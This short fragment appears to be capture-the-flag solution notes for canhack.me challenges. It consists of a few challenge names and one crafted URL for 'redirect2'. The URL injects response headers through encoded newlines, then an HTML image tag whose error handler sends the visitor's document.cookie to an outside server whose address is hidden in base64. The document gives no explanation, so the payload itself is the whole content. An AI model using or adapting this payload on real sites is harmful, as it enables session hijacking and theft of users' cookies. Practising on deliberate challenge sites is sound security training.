uppercase
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redirect
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redirect2
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https://redirect2.canhack.me/?url=%0acontent-type:%20text/html%0a%0a`%27%20%3E%3Cimg%20src=%22%22onerror=%27location.replace(atob(`aHR0cDovL3dpdGhwaHAuY29tOjgwODAvPw==`)%2bdocument.cookie)%2b`